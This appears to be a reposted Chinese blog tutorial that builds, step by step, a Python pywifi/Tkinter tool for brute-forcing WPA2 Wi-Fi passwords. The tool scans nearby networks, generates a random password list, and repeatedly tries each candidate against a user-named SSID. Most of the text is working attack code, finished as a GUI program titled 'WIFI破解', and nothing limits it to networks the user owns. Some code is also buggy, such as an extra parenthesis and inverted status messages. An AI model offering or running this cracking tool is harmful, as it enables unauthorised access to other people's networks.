当前位置:   article > 正文

python破解wifi密码_from pywifi import const

from pywifi import const

第一步:判断自己笔记本电脑是否有无线网卡

import pywifi
from pywifi import const                  #引入一些常量
#判断是否有无线网卡
def gic():
    wifi = pywifi.PyWiFi()                #创建一个无线对象
    #print(wifi)
    ifaces = wifi.interfaces()[0]          #获取无线网卡,一般是电脑的第一块网卡
    print(ifaces)                          #输出自己的网卡信息
    print(ifaces.status())                 #判断自己的网卡是否处于连接状态
    if ifaces.status() == const.IFACE_DISCONNECTED:
        print("已连接")
    else:
        print("未连接")
  #程序入口
if __name__ == "__main__":
    #函数调用
    gic()
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
执行结果:

在这里插入图片描述

第二步:扫描附件的wifi

import pywifi
from pywifi import const    
#扫描附件的wifi
def bies():
    wifi = pywifi.PyWiFi())                 #创建一个无线对象
    iface = wifi.interfaces()[0]            #获取无线网卡,一般是电脑的第一块网卡
    res = iface.scan_results()              #扫描附近wifi
    #print(res)                                 
    for data in res:
        print(data.ssid)                    #获取扫描之后的结果

#程序入口
if __name__ == "__main__":
    #函数调用
    bies()
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
执行结果:

在这里插入图片描述

第三步:创建简单窗口

#创建窗口
root = Tk()

#窗口的标题
root.title("WIFI破解")
#窗口的大小  小写的x  #窗口的位置
root.geometry('500x400+550+260')

#标签控件
label = Label(root,text = '输入要破解的wifi名称:')
#位置  定位 网格布局  pack 包  place 位置
label.grid()

#输入控件
entry = Entry(root,font = ('微软雅黑',20))
entry.grid(row = 0,column = 1)


#列表框控件 columnspan 组件所跨越的列数
text = Listbox(root,font = ('微软雅黑',15),width = 40,height = 10)
text.grid(row = 1,columnspan = 2)

#按钮
#button = Button(root,text = '开始破解',width = 20,height=2,command = readPwd)
button = Button(root,text = '开始破解',width = 20,height=2)
button.grid(row = 2,columnspan = 2)



#显示窗口  消息循环
root.mainloop()
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
执行结果:

在这里插入图片描述

第四步:密码字典生成

import string as st  #导入字符
import random  #导入随机函数
passwordrange = st.digits + st.ascii_letters # 生成字符串
#定义函数
def ran_pass(num):
    letter = ""
    for i in range(num):
        letter += random.choice(passwordrange)

    return letter
def wri_pass(passwd):
    path = r"I:\pythonfile\0918\wifipwd.txt"
    with open(path,"a") as des_file:
        des_file.write(passwd+"\n")
if __name__ == "__main__":
    for i in range(10):
        passwd = ran_pass(8)#调用函数随机生成8位密码
        print(passwd)
        wri_pass(passwd)

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
执行结果:

在这里插入图片描述

第五步:读取密码本

def readPwd():
    #获取wifi名称
    path = r"I:\pythonfile\0918\wifipwd.txt"
    file = open(path,"r")
    while True:
        try:
        
            mystr = file.readline()      #读取密码本
            if mystr == "":              #读取到最后一行,结束读取
                break
            else:
                print(mystr) 
        except:
            #跳出当前循环,继续下一次循环
            continue
if __name__ == "__main__":
    readPwd()
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
执行结果:

在这里插入图片描述

第六步:密码破解

import pywifi
from pywifi import const
import pywifi
import time
def wificonnect(str):                                      #str传入密码本
    wifi = pywifi.PyWiFi()
    ifaces = wifi.interfaces()[0]
    #print(ifaces.name())
    ifaces.disconnect()
    time.sleep(1)

    if ifaces.status() == const.IFACE_DISCONNECTED:
        profile = pywifi.Profile()
        profile.ssid = "wcp"                                #wifi名称
        profile.akm.append(const.AKM_TYPE_WPA2PSK)          #WiFi使用的加密算法
     
        profile.key = str                                   #wifi的密码 
   
        profile.auth = const.AUTH_ALG_OPEN                  #网卡的开发

        ifaces.remove_all_network_profiles()                #删除所有的wifi文件
        
        tmp_profile = ifaces.add_network_profile(profile)   #设定新的连接文件
        ifaces.connect(tmp_profile)
        time.sleep(4)
        if ifaces.status() == const.IFACE_CONNECTED:
            return True
        else:
            return False
    else:
        print("已经连接")        

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
执行结果:

在这里插入图片描述

完整代码过程

from tkinter import *
import pywifi
from pywifi import const
import pywifi
import time

#导入模块
#获取第一个无线网卡
#断开所有的wifi
#读取密码本
#设置睡眠时间

#测试连接函数
def wificonnect(str,wifiname):
    wifi = pywifi.PyWiFi()
    ifaces = wifi.interfaces()[0]
    #print(ifaces.name())
    ifaces.disconnect()
    time.sleep(1)

    if ifaces.status() == const.IFACE_DISCONNECTED:
        profile = pywifi.Profile()
        profile.ssid = wifiname
        profile.akm.append(const.AKM_TYPE_WPA2PSK)#加密算法
        #wifi的密码
        profile.key = str
        #网卡的开发
        profile.auth = const.AUTH_ALG_OPEN
        #删除所有的wifi文件
        ifaces.remove_all_network_profiles()
        #设定新的连接文件
        tmp_profile = ifaces.add_network_profile(profile)
        ifaces.connect(tmp_profile)
        time.sleep(4)
        if ifaces.status() == const.IFACE_CONNECTED:
            return True
        else:
            return False
    else:
        print("已经连接")


def readPwd():
    #获取wifi名称
    wifiname = entry.get()            #获取文本框输入的WiFi账号
    #print(wifiname)
    path = r"I:\pythonfile\0918\wifipwd.txt"
    file = open(path,"r")
    while True:
        try:
            #读取密码本
            mystr = file.readline()
            #print(mystr)
            if mystr == "":
                break
            else:
                #print(mystr)
                #测试链接
                bool = wificonnect(mystr,wifiname)    # 调用账号和密码匹配函数
                if mystr == const.IFACE_CONNECTED:
                    bool = True
                if bool:
                    #print("密码正确",mystr)
                    text.insert(END,"密码正确"+mystr)
                    text.see(END)
                    text.update()

                else:
                    #print("密码错误",mystr)
                    text.insert(END,"密码错误"+mystr)
                    text.see(END)
                    text.update()

        except:
            #跳出当前循环,继续下一次循环
            continue


#创建窗口
root = Tk()

#窗口的标题
root.title("WIFI破解")
#窗口的大小  小写的x  #窗口的位置
root.geometry('500x400+550+260')

#标签控件
label = Label(root,text = '输入要破解的wifi名称:')
#位置  定位 网格布局  pack 包  place 位置
label.grid()

#输入控件
entry = Entry(root,font = ('微软雅黑',20))
entry.grid(row = 0,column = 1)


#列表框控件 columnspan 组件所跨越的列数
text = Listbox(root,font = ('微软雅黑',15),width = 40,height = 10)
text.grid(row = 1,columnspan = 2)

#按钮
button = Button(root,text = '开始破解',width = 20,height=2,command = readPwd)   #   点击按钮触发事件
button.grid(row = 2,columnspan = 2)


#显示窗口  消息循环
root.mainloop()

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60
  • 61
  • 62
  • 63
  • 64
  • 65
  • 66
  • 67
  • 68
  • 69
  • 70
  • 71
  • 72
  • 73
  • 74
  • 75
  • 76
  • 77
  • 78
  • 79
  • 80
  • 81
  • 82
  • 83
  • 84
  • 85
  • 86
  • 87
  • 88
  • 89
  • 90
  • 91
  • 92
  • 93
  • 94
  • 95
  • 96
  • 97
  • 98
  • 99
  • 100
  • 101
  • 102
  • 103
  • 104
  • 105
  • 106
  • 107
  • 108
执行结果:

在这里插入图片描述


  • 灯塔
  • 风声吹动风声,叹息穿过叹息----
  • 当船队侧身而过,灯塔恋恋不舍,
  • 在茫茫黑夜里,在荒凉的瀚海中。
  • 血养荆棘,花开似锦。
声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/小小林熬夜学编程/article/detail/432316
推荐阅读
相关标签
  

闽ICP备14008679号